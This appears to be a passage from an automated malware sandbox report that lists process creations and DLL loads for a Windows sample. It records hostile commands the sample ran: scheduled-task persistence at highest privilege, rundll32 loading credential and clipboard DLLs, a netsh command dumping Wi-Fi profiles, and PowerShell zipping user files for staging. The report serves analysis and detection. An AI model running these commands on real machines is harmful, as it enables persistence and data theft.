Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5564 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3896 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3476 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,11986883696083450326,11027901686881542534,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4752 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4860 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Section loaded: edputil.dll
